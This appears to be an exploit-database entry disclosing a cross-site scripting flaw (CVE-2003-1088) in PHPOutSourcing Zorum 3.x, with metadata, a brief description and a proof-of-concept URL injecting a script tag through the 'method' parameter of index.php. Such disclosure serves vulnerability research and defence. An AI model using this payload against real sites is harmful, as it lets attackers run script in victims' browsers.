PHPOutSourcing Zorum 3.x - Cross-Site Scripting

Author: G00db0y
type: webapps
platform: php
port: 
date_added: 2003-08-11 
date_updated: 2012-11-29 
verified: 1 
codes: CVE-2003-1088;OSVDB-2390 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/8388/info

A cross-site scripting vulnerability has been reported in the index.php script of PHPOutSourcing Zorum. Because of this, an attacker may be able to execute HTML and script code in the browsers of target users in the security context of the site hosting the vulnerable script.

http://www.example.com/pathofzorum/index.php?method=<script>alert('test')
</script>